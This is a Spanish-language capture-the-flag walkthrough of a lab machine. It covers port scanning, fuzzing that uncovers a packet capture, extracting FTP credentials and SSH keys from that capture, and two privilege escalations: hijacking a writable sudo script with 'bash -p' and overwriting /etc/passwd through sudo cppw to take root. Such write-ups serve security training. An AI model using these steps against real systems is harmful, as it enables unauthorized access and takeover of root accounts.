Enumeración
Comenzamos con un escaneo general y específico de puertos con nmap. El primer barrido descubre los puertos abiertos a máxima velocidad; el segundo aplica scripts y detección de versiones sobre ellos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.144
❯ nmap -sC -sV -p21,22,80 -oN 02-targeted.txt 192.168.1.144
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-10 20:21 -03
Nmap scan report for 192.168.1.144
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 f4:8d:08:b4:99:d2:0c:5d:75:b8:22:83:7b:c2:88:15 (RSA)
| 256 e2:16:0a:e7:38:4a:ec:76:cf:d3:56:78:07:fd:2f:25 (ECDSA)
|_ 256 0b:5a:9c:71:cc:3b:50:04:46:18:ad:67:8a:df:d0:d6 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.06 secondsTenemos tres servicios: FTP (ProFTPD), SSH y un servidor web nginx.
Análisis de la captura de red
Al abrir el sitio web nos recibe un mensaje del administrador, que filtra una pista clave: existe una captura de Wireshark publicada, pero se olvidó la extensión del archivo:
I did a capture with wireshark.
The name of the file is "capture" but i dont remember the extension :(Fuzzeamos la extensión con gobuster en modo fuzz, sustituyendo el marcador FUZZ por cada entrada del diccionario y descartando las respuestas de longitud 169 (la página de error):
❯ gobuster fuzz -u http://192.168.1.144/capture.FUZZ -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt --exclude-length 169
...
Found: [Status=200] [Length=406500] [Word=pcap] http://192.168.1.144/capture.pcap
...Descargamos capture.pcap y lo analizamos. El FTP viaja en texto plano, así que extraemos directamente las credenciales de la sesión:
USER teste
PASS simpleAdemás, dentro de la captura viaja un archivo filexxx.zip que contiene una clave privada SSH. Esa clave, junto con el usuario teste, nos da el primer acceso a la máquina.
QR oculto en la captura
Seguimos analizando el .pcap y encontramos un segundo filexxx.zip, con el mismo nombre que el anterior pero distinto tamaño, por lo que seleccionamos su traza y lo exportamos desde Wireshark (File > Export Objects).
Al descomprimirlo aparece una imagen con un código QR. Lo decodificamos con cualquier lector y obtenemos una URL:
http://localhost/jackobattack.txtEse archivo resulta ser la clave RSA SSH del usuario jackob. Establecemos la conexión, obtenemos la primera flag y comenzamos la escalada de privilegios.
Escalada a kratos (sudo script hijack)
Revisamos qué puede ejecutar jackob con sudo:
jackob@attack:~$ sudo -l
Matching Defaults entries for jackob on attack:
!env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jackob may run the following commands on attack:
(kratos) NOPASSWD: /home/jackob/attack.shEl script attack.sh se encuentra en nuestro propio home, donde tenemos permisos de escritura. Lo reemplazamos por uno que lance una shell con el flag -p (preserva el UID efectivo):
#!/bin/bash
bash -pLo ejecutamos como kratos y obtenemos su shell:
jackob@attack:~$ sudo -u kratos /home/jackob/attack.sh
kratos@attack:~$Escalada a root (sudo cppw)
Repetimos la enumeración de sudo con el nuevo usuario:
kratos@attack:/home/kratos$ sudo -l
Matching Defaults entries for kratos on attack:
!env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User kratos may run the following commands on attack:
(root) NOPASSWD: /usr/sbin/cppwEl binario cppw se usa para reemplazar /etc/passwd por el archivo que le indiquemos. Como podemos ejecutarlo como root, generamos un /etc/passwd con la contraseña de root bajo nuestro control.
Primero generamos un hash de contraseña con openssl:
kratos@attack:/home/kratos$ openssl passwd
Password:
Verifying - Password:
T31emqDlCr/kgCreamos un passwd propio con la contraseña de root modificada:
root:T31emqDlCr/kg:0:0:root:/root:/bin/bashLo aplicamos con cppw e iniciamos sesión como root:
kratos@attack:/home/kratos$ sudo /usr/sbin/cppw passwd
kratos@attack:/home/kratos$ su root
Password:
root@attack:/home/kratos#Obtenemos la segunda flag.
Fin.